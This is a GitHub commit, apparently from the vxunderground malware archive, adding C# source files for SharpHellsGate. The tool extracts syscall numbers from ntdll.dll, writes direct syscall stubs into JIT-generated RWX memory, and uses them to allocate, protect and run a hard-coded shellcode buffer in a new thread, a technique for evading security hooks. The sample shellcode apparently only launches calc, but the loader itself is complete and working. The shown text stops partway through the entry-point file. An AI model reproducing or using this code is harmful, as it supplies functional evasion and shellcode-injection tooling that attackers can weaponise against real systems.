Add files via upload

This commit is contained in:
vxunderground
2020-10-11 00:53:07 -05:00
committed by GitHub
parent ad3ed5a13f
commit a6dbe47b59
24 changed files with 3744 additions and 0 deletions
@@ -0,0 +1,278 @@
using System;
using SharpHellsGate.Win32;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace SharpHellsGate {
/// <summary>
/// Main implementation of the Hell's Gate technique.
/// Responsible for generating a RWX memory region, inject and execute system call stubs.
/// </summary>
public class HellsGate {
/// <summary>
/// Used to check if the RWX memory region was generated.
/// </summary>
private bool IsGateReady { get; set; } = false;
/// <summary>
/// Used as for mutual exclusion while injecting and execution of the system call stub in memory.
/// </summary>
private object Mutant { get; set; } = new object();
/// <summary>
///
/// </summary>
private Dictionary<UInt64, Util.APITableEntry> APITable { get; set; } = new Dictionary<ulong, Util.APITableEntry>() { };
/// <summary>
/// Address of the managed method that was JIT'ed.
/// </summary>
private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero;
/// <summary>
/// Address of the RWX memory region after JIT compiling the managed method.
/// </summary>
private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero;
/// <summary>
/// This function will be JIT at runtime to create RWX memory region.
/// </summary>
//// <returns>Gate returns either STATUS_SUCCESS or an error status code.</returns>
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private static UInt32 Gate() {
return new UInt32();
}
/// <summary>
/// Inject in memory a basic system call stub and return a delegate for execution via un-managed code.
/// </summary>
/// <typeparam name="T">The desired delegate Type.</typeparam>
/// <param name="syscall">The system call to execute.</param>
/// <returns>A delegate of to execute the system call.</returns>
private T NtInvocation<T>(Int16 syscall) where T: Delegate {
if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) {
Util.LogError("Unable to inject system call stub");
return default;
}
Span<byte> stub = stackalloc byte[24] {
0x4c, 0x8b, 0xd1, // mov r10, rcx
0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, <syscall
0xf6, 0x04, 0x25, 0x08, 0x03, 0xfe, 0x7f, 0x01, // test byte ptr [SharedUserData+0x308],1
0x75, 0x03, // jne ntdll!<function>+0x15
0x0f, 0x05, // syscall
0xc3, // ret
0xcd, 0x2e, // int 2Eh
0xc3 // ret
};
Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length);
return Marshal.GetDelegateForFunctionPointer<T>(this.UnmanagedMethodAddress);
}
/// <summary>
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
/// </summary>
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtAllocateVirtualMemory Func = NtInvocation<DFunctions.NtAllocateVirtualMemory>(syscall);
return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
}
}
/// <summary>
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
/// </summary>
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
/// <param name="OldAccessProtection">Receive previous protection.</param>
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtProtectVirtualMemory Func = NtInvocation<DFunctions.NtProtectVirtualMemory>(syscall);
return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection);
}
}
/// <summary>
/// Managed wrapper around the NtCreateThreadEx native Windows function.
/// </summary>
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
/// <param name="lpStartAddress">Address of the function to execute.</param>
/// <param name="lpParameter">Parameters to pass to the function.</param>
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
/// <param name="StackZeroBits"></param>
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
/// <param name="lpBytesBuffer"></param>
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtCreateThreadEx Func = NtInvocation<DFunctions.NtCreateThreadEx>(syscall);
return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
}
}
/// <summary>
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
/// </summary>
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtWaitForSingleObject Func = NtInvocation<DFunctions.NtWaitForSingleObject>(syscall);
return Func(ObjectHandle, Alertable, ref TimeOuts);
}
}
/// <summary>
/// .ctor
/// </summary>
/// <param name="Table">The API table that will be used by the multiple function wrapers.</param>
public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {
this.APITable = Table;
}
/// <summary>
/// JIT a static method to generate RWX memory segment.
/// </summary>
/// <returns>Whether the memory segment was successfully generated.</returns>
public bool GenerateRWXMemorySegment() {
// Find and JIT the method
MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic);
if (method == null) {
Util.LogError("Unable to find the method");
return false;
}
RuntimeHelpers.PrepareMethod(method.MethodHandle);
// Get the address of the function and check if first opcode == JMP
IntPtr pMethod = method.MethodHandle.GetFunctionPointer();
if (Marshal.ReadByte(pMethod) != 0xe9) {
Util.LogError("Method was not JIT'ed or invalid stub");
return false;
}
Util.LogInfo($"Managed method address: 0x{pMethod:x16}");
// Get address of jited method and stack alignment
Int32 offset = Marshal.ReadInt32(pMethod, 1);
UInt64 addr = (UInt64)pMethod + (UInt64)offset;
while (addr % 16 != 0)
addr++;
Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n");
this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer();
this.UnmanagedMethodAddress = (IntPtr)addr;
this.IsGateReady = true;
return true;
}
/// <summary>
/// Payload example. In this case this is a basic shellcode self-injection.
/// </summary>
public void Payload() {
if (!this.IsGateReady) {
if (!this.GenerateRWXMemorySegment()) {
Util.LogError("Unable to generate RX memory segment");
return;
}
}
byte[] shellcode = new byte[273] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00,0xc3
};
Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");
// Allocate Memory
IntPtr pBaseAddres = IntPtr.Zero;
IntPtr Region = (IntPtr)shellcode.Length;
UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
if (!Macros.NT_SUCCESS(ntstatus)) {
Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
return;
}
Util.LogInfo($"Page address: 0x{pBaseAddres:x16}");
// Copy Memory
Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
Array.Clear(shellcode, 0, shellcode.Length);
// Change memory protection
UInt32 OldAccessProtection = 0;
ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
return;
}
IntPtr hThread = IntPtr.Zero;
ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
return;
}
Util.LogInfo($"Thread handle: 0x{hThread:x16}\n");
// Wait for one second
Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
TimeOut.QuadPart = -10000000;
ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
if (ntstatus != 0x00) {
Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
return;
}
}
}
}
@@ -0,0 +1,142 @@
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace SharpHellsGate.Module {
/// <summary>
/// Used to manipulate and extract information from a memory stream.
/// In this case the memory stream is the NTDLL module.
/// </summary>
public class MemoryUtil : IDisposable {
/// <summary>
/// The memory stream representation of the NTDLL module.
/// </summary>
protected Stream ModuleStream { get; set; }
/// <summary>
/// Dispose the memory stream when no longer needed.
/// </summary>
~MemoryUtil() => Dispose();
/// <summary>
/// Dispose the memory stream when no longer needed.
/// </summary>
public void Dispose() {
this.ModuleStream.Dispose();
this.ModuleStream.Close();
GC.SuppressFinalize(this);
}
/// <summary>
/// Extract a structure from the memory stream.
/// </summary>
/// <typeparam name="T">The Type of the structure to extract.</typeparam>
/// <param name="offset">The offset in the memory stream where the structure is located.</param>
/// <returns>The structure populated or the default structure.</returns>
protected T GetStructureFromBlob<T>(Int64 offset) where T : struct {
Span<byte> bytes = this.GetStructureBytesFromOffset<T>(offset);
if (Marshal.SizeOf<T>() != bytes.Length)
return default;
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf<T>());
Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length);
T s = Marshal.PtrToStructure<T>(ptr);
Marshal.FreeHGlobal(ptr);
return s;
}
/// <summary>
/// Extract the code from a native Windows function.
/// </summary>
/// <param name="offset">The location of the function in the memory stream.</param>
/// <returns>The 24 bytes representing the code of the function.</returns>
protected Span<byte> GetFunctionOpCode(Int64 offset) {
Span<byte> s = stackalloc byte[24];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
/// <summary>
/// Extract a DWORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the DWORD in the memory stream.</param>
/// <returns>The value of the DWORD.</returns>
protected UInt32 ReadPtr32(Int64 offset) {
Span<byte> s = stackalloc byte[4];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt32(s);
}
/// <summary>
/// Extract a QWORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the QWORD in the memory stream.</param>
/// <returns>The value of the QWORD.</returns>
protected UInt64 ReadPtr64(Int64 offset) {
Span<byte> s = stackalloc byte[8];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt64(s);
}
/// <summary>
/// Extract a WORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the WORD in the memory stream.</param>
/// <returns>The value of the WORD.</returns>
protected UInt16 ReadUShort(Int64 offset) {
Span<byte> s = stackalloc byte[2];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt16(s);
}
/// <summary>
/// Extract an ASCII string from the memory stream.
/// </summary>
/// <param name="offset">The location of the ASCII string in the memory stream.</param>
/// <returns>The ASCII string.</returns>
protected string ReadAscii(Int64 offset) {
int length = 0;
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
while (this.ModuleStream.ReadByte() != 0x00)
length++;
Span<byte> s = length <= 1024 ? stackalloc byte[length] : new byte[length];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return Encoding.ASCII.GetString(s);
}
/// <summary>
/// Extract the byte representation of a structure from the memory stream.
/// </summary>
/// <typeparam name="T">The Type of the structure to extract from the memory stream.</typeparam>
/// <param name="offset">The location of the structure in the memory stream.</param>
/// <returns>The structure as byte span.</returns>
protected Span<byte> GetStructureBytesFromOffset<T>(Int64 offset) where T : struct {
Span<byte> s = stackalloc byte[Marshal.SizeOf<T>()];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
/// <summary>
/// Get a specific amount of bytes at a specific location in the memory stream.
/// </summary>
/// <param name="offset">The location of the bytes to extract from the memory stream.</param>
/// <param name="size">The number of bytes to extract from the memory stream at a give location.</param>
/// <returns>The desired bytes as a byte span.</returns>
protected Span<byte> GetBytesFromOffset(Int64 offset, int size) {
Span<byte> s = size >= 1024 ? new byte[size] : stackalloc byte[size];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
}
}
@@ -0,0 +1,328 @@
using System;
using System.IO;
using SharpHellsGate.Win32;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Linq;
namespace SharpHellsGate.Module {
/// <summary>
/// Wrapper around the NTDLL module.
/// Used to extract structures and find system calls.
/// </summary>
public class SystemModule : MemoryUtil {
/// <summary>
/// IMAGE_DOS_HEADER structure of the NTDLL module.
/// </summary>
public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; }
/// <summary>
/// IMAGE_NT_HEADERS64 structure of the NTDLL module.
/// </summary>
public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; }
/// <summary>
/// IMAGE_SECTION_HEADER structure from the NTDLL module.
/// </summary>
public List<Structures.IMAGE_SECTION_HEADER> ModuleSectionHeaders { get; private set; }
/// <summary>
/// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module.
/// </summary>
public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; }
/// <summary>
/// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure.
/// </summary>
public Int64 ModuleExportDirectoryOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' name.
/// </summary>
public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' address.
/// </summary>
public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' ordinal.
/// </summary>
public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; }
/// <summary>
/// Name of the module. Will be NTDLL.
/// </summary>
public string ModuleName { get; private set; }
/// <summary>
/// Path of the module. Will be %WINDIR%\System32\ntdll.dll
/// </summary>
public string ModulePath { get; private set; }
/// <summary>
/// .ctor
/// </summary>
/// <param name="name">Name of the module</param>
public SystemModule(string name) : base() {
this.ModuleName = name;
this.ModulePath = $"{Environment.SystemDirectory}\\{name}";
this.ModuleSectionHeaders = new List<Structures.IMAGE_SECTION_HEADER>() { };
this.LoadModule();
}
/// <summary>
/// Load the module into a memory stream.
/// </summary>
/// <returns>Whether the loading process was a success.</returns>
public bool LoadModule() {
if (string.IsNullOrEmpty(this.ModuleName)) {
Util.LogError("Module name not provided");
return false;
}
if (!File.Exists(this.ModulePath)) {
Util.LogError($"Unable to find module: {this.ModuleName}");
return false;
}
ReadOnlySpan<byte> ModuleBlob = File.ReadAllBytes(this.ModulePath);
if (ModuleBlob.Length == 0x00) {
Util.LogError($"Empty module content: {this.ModuleName}");
return false;
}
base.ModuleStream = new MemoryStream(ModuleBlob.ToArray());
return true;
}
/// <summary>
/// Reload all structures.
/// </summary>
/// <returns>Whether all structures were successfully reloaded.</returns>
public bool LoadAllStructures() {
if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER)))
return false;
if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64)))
return false;
if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections)
return false;
if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)))
return false;
return true;
}
/// <summary>
/// Get the _IMAGE_DOS_HEADERstructure from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) {
if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache)
return this.ModuleDOSHeader;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
this.ModuleDOSHeader = base.GetStructureFromBlob<Structures.IMAGE_DOS_HEADER>(0);
if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) {
Util.LogError("Invalid DOS header signature");
return default;
}
return this.ModuleDOSHeader;
}
/// <summary>
/// Get the IMAGE_NT_HEADERS64 structure from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) {
if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache)
return this.ModuleNTHeaders;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)))
this.GetModuleDOSHeader();
this.ModuleNTHeaders = base.GetStructureFromBlob<Structures.IMAGE_NT_HEADERS64>(this.ModuleDOSHeader.e_lfanew);
if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) {
Util.LogError("Invalid NT headers signature");
return default;
}
return this.ModuleNTHeaders;
}
/// <summary>
/// Get list of _IMAGE_SECTION_HEADER structures from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The list of _IMAGE_SECTION_HEADER structures.</returns>
public List<Structures.IMAGE_SECTION_HEADER> GetModuleSectionHeaders(bool ReloadCache = false) {
if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache)
return this.ModuleSectionHeaders;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER)))
this.GetModuleNTHeaders();
for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) {
Int64 iSectionOffset = this.GetModuleSectionOffset(cx);
Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob<Structures.IMAGE_SECTION_HEADER>(iSectionOffset);
if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER)))
this.ModuleSectionHeaders.Add(ImageSection);
}
return this.ModuleSectionHeaders;
}
/// <summary>
/// Get a _IMAGE_SECTION_HEADER structure by name.
/// </summary>
/// <param name="name">The name of the section.</param>
/// <returns>The _IMAGE_SECTION_HEADER structure if exists.</returns>
public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) {
if (name.Length > 8) {
Util.LogError("Invalid section name");
return default;
}
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleSectionHeaders.Count == 0x00)
this.GetModuleSectionHeaders();
return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault();
}
/// <summary>
/// Get the Export Address Table (aka EAT) from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>the _IMAGE_EXPORT_DIRECTORY structure</returns>
public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) {
if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache)
return this.ModuleExportDirectory;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)))
this.GetModuleNTHeaders();
if (this.ModuleSectionHeaders.Count == 0x00)
this.GetModuleSectionHeaders();
this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress);
this.ModuleExportDirectory = base.GetStructureFromBlob<Structures.IMAGE_EXPORT_DIRECTORY>(this.ModuleExportDirectoryOffset);
if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) {
Util.LogError("Invalid export address table (EAT).");
return default;
}
// Parse all functions
this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames);
this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions);
this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals);
return this.ModuleExportDirectory;
}
/// <summary>
/// Get the address, name, system call for a given function hash.
/// </summary>
/// <param name="FunctionHash">DJB2 function hash.</param>
/// <returns></returns>
public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) {
if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00)
this.GetModuleExportDirectory();
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
Util.APITableEntry Entry = new Util.APITableEntry {
Hash = FunctionHash
};
for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) {
UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx));
string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName));
if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) {
UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1)));
Span<byte> opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress));
if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) {
Entry.Name = FunctionName;
Entry.Address = PtrFunctionAdddress;
Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]);
return Entry;
}
}
}
return default;
}
/// <summary>
/// Get the offset of a _IMAGE_SECTION_HEADER structure.
/// </summary>
/// <param name="cx">The section to get.</param>
/// <returns>The _IMAGE_SECTION_HEADER structure.</returns>
private Int64 GetModuleSectionOffset(Int16 cx)
=> this.ModuleDOSHeader.e_lfanew
+ Marshal.SizeOf<Structures.IMAGE_FILE_HEADER>()
+ this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader
+ sizeof(Int32) // sizeof(DWORD)
+ (Marshal.SizeOf<Structures.IMAGE_SECTION_HEADER>() * cx);
/// <summary>
/// Convert a relative virtual address (RVA) into an offset.
/// </summary>
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
/// <param name="SectionHeader">The section in which the relative virtual address (RVA) points to.</param>
/// <returns>The offset.</returns>
private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData;
/// <summary>
/// Convert a relative virtual address (RVA) into an offset.
/// </summary>
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
/// <returns>The offset.</returns>
private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva));
/// <summary>
/// Get which image section is which a relative virtual address (RVA) points to.
/// </summary>
/// <param name="rva">The RVA</param>
/// <returns>The _IMAGE_SECTION_HEADER structure</returns>
private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First();
}
}
@@ -0,0 +1,51 @@
using System;
using System.Collections.Generic;
using SharpHellsGate.Module;
namespace SharpHellsGate {
/// <summary>
/// Main class.
/// </summary>
public class Program {
/// <summary>
/// Entry point of the program.
/// </summary>
/// <param name="args">Command line arguments.</param>
static void Main(string[] args) {
Util.LogInfo("Copyright (C) 2020 Paul Laine (@am0nsec)");
Util.LogInfo("C# Implementation of the Hell's Gate VX Technique");
Util.LogInfo(" --------------------------------------------------\n", 0, "");
// Only works for x86
if (IntPtr.Size != 8) {
Util.LogError("Project only tested in x64 context.\n");
return;
}
// Load the module and get everything ready
SystemModule ntdll = new SystemModule("ntdll.dll");
ntdll.LoadAllStructures();
// Resolve all the system calls
Dictionary<UInt64, Util.APITableEntry> APITable = new Dictionary<ulong, Util.APITableEntry>() {
